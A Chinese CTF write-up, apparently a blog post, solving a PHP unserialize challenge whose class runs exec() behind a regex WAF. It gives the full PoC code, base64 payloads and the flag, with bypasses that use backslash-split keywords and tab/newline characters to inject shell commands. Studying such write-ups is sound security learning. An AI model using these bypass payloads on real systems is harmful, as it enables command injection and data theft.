依旧是参考大佬们的WP,时隔多日对原来的博文内容进行了修改与补充,内容小白友好~
按照惯例,把源码贴在这里逐行不靠谱地分析一下~
method = $method;
$this->args = $args;
}
function __destruct(){ //在脚本关闭时执行以下语句
if (in_array($this->method, array("ping"))) { //如果 数组ping中存在method的值
call_user_func_array(array($this, $this->method), $this->args); //返回回调函数的结果
}
}
function ping($ip){ //数组ping(变量ip)
exec($ip, $result); //执行外部程序:查看ip
var_dump($result); //输出ip查询结果
}
function waf($str){ //防火墙(变量str)
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str; //如果str中不含有上述字符,返回函数
} else {
echo "don't hack"; //否则的话,输出“don't hack”
}
}
function __wakeup(){ //当类在外部执行反序列化时,执行此方法
foreach($this->args as $k => $v) { //遍历输入字符,传递到防火墙中检查
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf']; //传参变量为ctf,传参方法为post
@unserialize(base64_decode($ctf)); //反序列化(以Base64的形式解码变量ctf)
?>
解题思路如下:
1 根据第14行 if (in_array($this->method, array("ping")));
应该在数组的第一个变量method中写入"ping",以使if的判断条件满足,从而执行回调函数~
2 根据第25行 if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array))
应该在数组的第二个变量args中写入查询flag文件的语句,需要的关键词在waf里已经非常贴心地提示了(手动狗头)~
工具:hackbar(浏览器插件)或burpsuite (用于post传参~本文是以hackbar示例~)
参考:张桢的保姆级WP:
1 源码分析
题目的难点在于绕过这句话:if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)),preg_match_all()执行全局正则表达式匹配,会搜索$str中/(\||&|;| |\/|cat|flag|tac|php|ls)/的正则式匹配结果,并输出到$pat_array中~
本题"/(\||&|;| |\/|cat|flag|tac|php|ls)/"是正则表达式,"//"表示字符串的开始与结束,\表示转义,|表示或运算;
禁掉的内容为①|(转义)②&③;④空格⑤/(转义)⑥cat⑦flag⑧tac⑨php⑩ls
如果有兴趣,正则表达式可参考右侧的链接:php的正则表达式-PHP中文网
我们发现,他这一套正则表达式虽然出现了很多的\,但是都作为开头、结尾、转义消耗掉了,实际上根本没有禁掉\,是不是很意外~
↑在ls(linux命令,显示指定工作目录下之内容)中加入\,发现右侧直接输出了$str的值,而非don't hack,证明是成功绕过啦~同理,cat、flag、tac、php也可以在单词中加入转义字符\绕过~
2 构造poc
$a = new ease("ping",array("l\s"));
poc分析:传入满足ease类型的对象$a(起别的名字也可以的~),要求采用两个变量:method、args。
1)method根据题目要求为 数组“ping”(根据源码第15行,回调函数中已经有array($this, $this->method),因此无需再输入array()这个格式);
2)args根据题目要求为执行语句,根据博文上述分析,写为array("l\s");
3)另外根据题目第40行@unserialize(base64_decode($ctf));,变量传入的时候会进行编码和反序列化,因此$a需要序列化,且进行Base64编码,代码末尾需要再添加一行实现序列化与解码功能——
echo serialize(base64_encode($a));
4)也可以在代码末尾增加一句代码检查序列化后的输出是否满足要求(非必要)——
echo serialize($a);
复制源码,将这几行添加到程序末尾(或者直接复制下面贴着的代码),在编辑器内运行,平时不怎么编程的胖友也可以试试在线编辑器~PHP 在线工具 | 菜鸟工具 (runoob.com)
method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
$a = new ease("ping",array("l\s"));
echo serialize($a);
echo base64_encode(serialize($a));
?>
运行结果如图,红线位置圈注的两行(之后,array(2)之前)就是代码执行结果~
F12调出开发者工具Hackbar,根据源代码39行$ctf=@$_POST['ctf'];,我们以post形式通过变量ctf传入编码的poc,如下图所示~
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319
此时页面最后一行提示了文件夹名称,flag_1s_here,那么下一步就是需要分为两行命令:
1)cd flag_1s_here //打开文件flag_1s_here;
2)ls //查询文件内容;
大佬的payload如下~
$a = new ease("ping",array("cd\x09fl\ag_1\s_here\x0al\s"));
echo serialize($a);
echo base64_encode(serialize($a));
分析一下payload:"cd\x09fl\ag_1\s_here\x0al\s",利用了两个特性:
1)添加了\x09和\x0a。其中\x09是ASCII码16进制的制表符,用途相当于tab键,表示4个空格,用于绕过正则表达式中空格键的黑名单;\x0a是ASCII码的换行符,用于切换到第两行命令的执行。
若有兴趣,其他ASCII码转义字符的介绍:php中的转义字符 - 充实地生活着
2)preg_match() 函数在第一次匹配后将会停止搜索,但preg_match_all() 函数会一直匹配到结尾,本题中采用preg_match_all() 就很适合多行命令的执行~
实际payload绕过waf的输出如下图所示,与我们想要的输出结果一致,证明可用~
在菜鸟编辑器第42行中用下列代码替换原来的poc~
$a = new ease("ping",array("cd\x09fl\ag_1\s_here\x0al\s"));
绿色线是程序运行的结果,再次以post形式上传至题目的页面,运行后得到flag文件名~
此时页面最后一行提示了文件名flag_831b69012c67b35f.php,那么下一步就是——
cd flag_1s_here //查看文件夹flag_1s_here
cat flag_831b69012c67b35f.php //查看flag_831b69012c67b35f.php文件
同理,同一行命令中间采用\x09制表符替代空格的作用,前后两行命令之间采用\x0a替代换行的作用,cat、flag与php中插入\以绕过正则表达式~
payload:cd\x09fl\ag_1\s_here\x0ac\at\x09fl\ag_831b69012c67b35f.p\hp
method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
$a = new ease("ping",array("cd\x09fl\ag_1\s_here\x0ac\at\x09fl\ag_831b69012c67b35f.p\hp"));
echo serialize($a);
echo base64_encode(serialize($a));
?>
检查一下输出,确认问题不大后依旧将poc再次输入到页面中,得到flag~
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo1MDoiY2QJZmxcYWdfMVxzX2hlcmUKY1xhdAlmbFxhZ184MzFiNjkwMTJjNjdiMzVmLnBcaHAiO319
$cyberpeace{bd69cbe927b167a4f087d6e6ae4c09fa}
博文写得模糊或者有误之处,欢迎留言讨论与批评~
码字不易,若有所帮助,可以点赞支持一下博主嘛?感谢~(●'◡'●)